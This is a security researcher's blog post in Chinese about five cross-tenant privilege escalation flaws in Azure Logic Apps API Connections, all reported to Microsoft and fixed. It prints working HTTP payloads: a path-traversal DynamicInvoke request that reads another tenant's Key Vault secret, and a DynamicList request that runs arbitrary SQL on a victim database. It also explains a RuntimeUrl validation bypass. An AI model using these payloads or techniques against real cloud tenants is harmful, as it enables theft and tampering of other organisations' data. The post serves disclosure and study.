Azure 最薄弱的环节:五起完整的跨租户入侵
Azure Logic Apps API 连接中的五个跨租户权限提升漏洞,从路径遍历开始,最终到达根 CA。
中文
复制

在之前的博客文章《Azure 最薄弱的一环?》和《Azure 最薄弱的一环 · 完整的跨租户入侵》中,我概述了 Azure API Connections(Azure Logic Apps 的一部分)背后严重不安全的架构,以及利用这些固有缺陷实施的一次完整跨租户入侵。现在,我又带来了这个系统中的更多漏洞,每一个都能为攻击者提供同样的原语。这些漏洞总共为我带来了 20 万美元的进账。
我还在 Blue Hat Asia 2026 上做了一场演讲,详细讲述了这些内容,录像发布后我会在这里补上链接。
TL;DR
API Connections 允许任何人完全入侵全球任意其他连接,从而获得对所连接后端的完整访问权限。这包括对 Key Vault 和 Azure SQL 数据库的跨租户入侵,以及任何其他外部连接的服务,比如 Jira 或 Salesforce。真正阻止漏洞利用的,只是各个系统上层层叠加的输入校验,但正如你将看到的,要在这里覆盖所有边界情况确实非常困难。
架构
如果你还没读过这个系列的前几篇,我建议先去看看,《Azure 最薄弱的一环?》第 1 部分和《Azure 最薄弱的一环 · 完整的跨租户入侵》。不过如果你不感兴趣,我会先过一遍架构中最重要的部分。
从微软的文档中,我们可以看到一张相当耐人寻味的图,展示了 API Connection 架构是如何构建的。

这张图基本把理解系统运作所需的全部信息都讲清楚了,做这张图的人值得点赞。
它的工作方式是这样的。
- 一个逻辑应用(左下角的符号)向一个共享的 Azure API Management 实例发起查询
- API Management 实例先检查该连接器类型的 swagger(OpenAPI)定义,确认这是一个有效的操作
- 随后发生某种密钥交换,输入的 token(即密钥)被换成后端服务所配置的 token
- API Management 实例随后用这个新 token 调用后端实例
由此可以推断,只要能诱使 API Management 实例去操作一个不属于我们的连接,我们就能实际用上受害者连接所配置的 token,去调用他们的后端服务。
这个服务实际上可以是任何东西。如这里所示,后端服务的清单实际上没有边界,其中包含不少 Azure 服务。
图虽然画得好,却漏掉了一个关键点,而我们在本系列第二部分已经充分利用了它。通过 ARM REST API 的 DynamicInvoke 或 /extensions/proxy/ 端点,我们可以经由 ARM 直接查询 APIM 服务。我擅自把图更新了一下,以反映这一点。

考虑到这一点,再加上作为资源管理器的 ARM 基本能访问所有资源,利用路径就很清楚了。我们要诱使调用服务去查询一个不属于我们的连接,从而完全控制后端服务。
需要说明的是,搭建这些连接的人当然可以把访问令牌或密钥的权限限定得很小,让 API Connection 在后端只拥有最低权限。但我猜很少有人会这么做。OAuth 连接用的肯定始终是最初建立连接那个人的令牌。至于 API 密钥的情况,谁又会费心去做最小权限限定呢?至少 Microsoft 不会。
初始利用
我在 API Connection 中实现的第一个跨租户利用(实际上也是整个 Azure 里的第一个),已经在第 2 部分里部分描述过了。回顾一下,下面是一个示例 payload,用我自己连接的 DynamicInvoke 端点读取了另一个租户的 Key Vault。
POST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 147
{
"request":{
"method":"get",
"path":"path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/fd8d0f4f4069495991ccb4974f96a1ed/secrets/victimsecret/value"
},
}
HTTP/2 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 1329
{
"response": {
"statusCode": "OK",
"body": {
"value": "dontreadme",
"name": "victimsecret",
"version": "7914d45aa60342809fb8cc12dc68b10e",
"contentType": null,
"isEnabled": true,
"createdTime": "2025-04-04T05:38:26Z",
"lastUpdatedTime": "2025-04-04T05:38:26Z",
"validityStartTime": null,
"validityEndTime": null
},
"headers": {
<Headers>
}
}
}
可以看到,这是一个相当明显的路径遍历漏洞。这也印证了我们此前的假设。当请求从 ARM 发往 APIM 实例时,它拥有对所有连接的权限,无论操作的是哪一个。
进一步利用
我报告这个漏洞几周后,它被标记为已修复。我再次尝试时,迎面而来的是下面这条错误信息。

我考虑过这个修复是否足够。它似乎只是限制了允许的路径,而没有解决底层的令牌问题,所以我猜总有办法绕过。
关于 ARM API 有一个有趣的小事实。在某些情况下,它可能并不像你以为的那样是个黑盒。相关代码有时就藏在资源类型本身里。我不知道这些代码是否真的会在那些机器上执行,还是只是作为产物被一并打包,但它是座有趣信息的大金矿。于是我创建了一个 Standard Logic App(它提供完全专用的主机),SSH 登进去,把代码提取了出来。结果你猜怎么着。

你能看出他们实际修复了什么吗?
其实,这里更有意思的是我偶然发现的一点,我甚至没有专门去找。在搜索 DynamicInvoke 的实际代码时,映入眼帘的不只是这一个公开函数,而是四个。

这些函数完全没有文档,我在任何地方都找不到相关引用。不过它们可以被访问到,而且就在同一条路径上。所以,比如要访问这里的 DynamicList,只需把 URI 中的 dynamicInvoke 改成 DynamicList。
他们那个草率的黑名单修复只覆盖了 DynamicInvoke,既然如此,我推断这些函数只要功能相同,就同样存在漏洞。所需的参数和返回值就不在这里赘述了,利用方法其实基本一样,只是 payload 稍微复杂一些。对于 DynamicList,需要逐个指定每个路径参数,还要做点额外处理才能拿到结果,但逻辑是相通的。比如要通过受害者的连接对其 SQL 服务器实现跨租户写入,下面这样的 payload 就可以。
POST /subscriptions/162fc6db-03cd-4fe8-ab44-dc0a947e74af/resourceGroups/api-connection/providers/Microsoft.Web/connections/custom_validator/DynamicList?api-version=2018-07-01-preview&_=1765372176638 HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Length: 524
Content-Type: application/json
{
"dynamicInvocationDefinition": {
"operationID": "nine",
"parameters": {
"one": {
"value": ".."
},
"two": {
"value": ".."
},
"three": {
"value": "sql"
},
"four": {
"value": "88d28f5ff7b642cfb91df184938d074c"
},
"five": {
"value": "v2"
},
"six": {
"value": "datasets"
},
"seven": {
"value": "victimservice.database.windows.net,VictimDatabase"
},
"eigth": {
"value": "query"
},
"nine": {
"value": "sql"
},
"query": {
"value": {
"query": "Insert INTO MySecrets VALUES ('NewEvilSecrets', 3)"
}
}
},
"ItemsPath": "ResultSets/Table1",
"ItemValuePath": "secrets",
"ItemTitlePath": "value"
}
}
很容易看出,这里的头几个参数先执行路径穿越,然后对数据库执行任意 SQL 查询。
我最初只报告了 DynamicList 这一种情况,希望他们会对 DynamicInvoke 做类似的修复,这样我还能再报告另外两个。遗憾的是,他们的修复只是把这些端点全部封禁。除此之外似乎没有其他缓解措施,所以这些端点一旦重新开放,我认为它们仍然存在漏洞。
进一步利用
在这些动态调用里折腾路径,到这里似乎已经走到头了。DynamicInvoke 上的路径限制我绕不过去,其他端点也都被封了。我需要的是另一条入口。有天我正准备睡觉,忽然想到自己一直忽略了 Logic Apps 本身。我意识到,Consumption 和 Standard 两种 Logic Apps 在创建连接流程上其实有一个重要区别。最明显的一点是,Consumption Logic Apps 的工作流与其他一堆工作流共用同一位置,创建的是 Version 1 连接;而运行在专用主机上的 Standard Logic Apps 创建的是 Version 2 连接。下面的示意图展示了两种流程之间更细微的差异。


看出区别了吗?显然,这样写出来之后,问题就很清楚了。使用 Standard Logic App 时,我们创建好资源、给后端服务器加上所需的身份验证之后,再用它的托管标识授权这个特定的逻辑应用去访问。但换成 Consumption Logic App,就没有这样的标识可以授权,因为它不归我们控制。这或许也说得通,既然没法授权,那就不授权。
我意识到,这意味着每个 Consumption Logic App 都隐式拥有对每一个 Version 1 API Connection 的访问权限;唯一阻止我们利用这一点的,只能是某种输入校验。
Logic App 工作流的经典视图对输入的限制相当严格,但 API 端点以及 GUI 里的 Code 视图都能让我们对输入多折腾一番。

这样我们就能更仔细地查看这些输入、编辑它们,甚至再添加更多。把引用的 connector 改成受害者的连接,这个显而易见的伎俩行不通,因为运行时会对连接是否属于你做大量校验。不过代码库在我们手上,可以试着找出所有合法参数。我没费多少工夫就发现了 host.api.RuntimeUrl 参数。
我实在想不通这个参数为什么会被加进来,也想不通它为什么至今仍被接受,但它的行为和你预期的一样。在对 host.connection 中引用的连接做完一系列校验之后,你可以指定它改用完全不同的东西,而不是该连接里写死的 runtimeUrl。只要主机名以 azure-apihub.net 结尾,它还会带上所需的 Authorization 头。

那么,这个工作流运行时会发生什么?

眼尖的读者可能已经注意到,漏洞利用中使用的 runtimeUrl 并不只是 connectionId。这是因为 URI 中会被追加一些额外的元素,但这对我们没有影响;漏洞利用依然照常生效。
天降甘露
我当然又把这件事报告给了 Microsoft,他们花了一些时间进行修复。修复终于上线后,漏洞利用返回了一条错误信息。
The host API runtime URL is not valid for the API connection '/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/keyvault-1'. The runtime URL path must match the expected API endpoint 'https://logic-apis-norwayeast.azure-apihub.net/apim/keyvault/cbfb0f4313144117a7440368902bb871?' for the referenced connection. Either omit the 'host.api' input property, or correct the runtime URL to match the API associated with the connection.
除了这条信息长得过分之外,这个修复看起来相当合适。运行时 URL 必须与预期完全一致,否则免谈。除了干脆把参数整个删掉之外,这已经算是相当合理的做法了。当然,除非它检查这个值的时机不对。

再试一次,结果还是一样。问题在于,校验发生在路径规范化之前,所以运行时认为这个 URI 指向我引用的连接,而 APIM 实例看到的却是另一回事。
就这样,我又拿到了一个严重漏洞。
事情还没完。Microsoft 好不容易针对这个路径遍历凑出一个修复之后,奇怪的事情发生了。原本的 RuntimeUrl 路径不再被校验,于是那个攻击又能用了。我本想放几张图,但图和上面的一模一样,各位自己脑补吧。
报告与奖励
API Connections 一共让我在 Azure 里挖到五个严重的提权漏洞,大概比预想的多。这里报告的所有漏洞都在我提交后的一段合理时间内修复了,期间虽然和 MSRC 有过一些分歧,但总体而言,我对结果相当满意。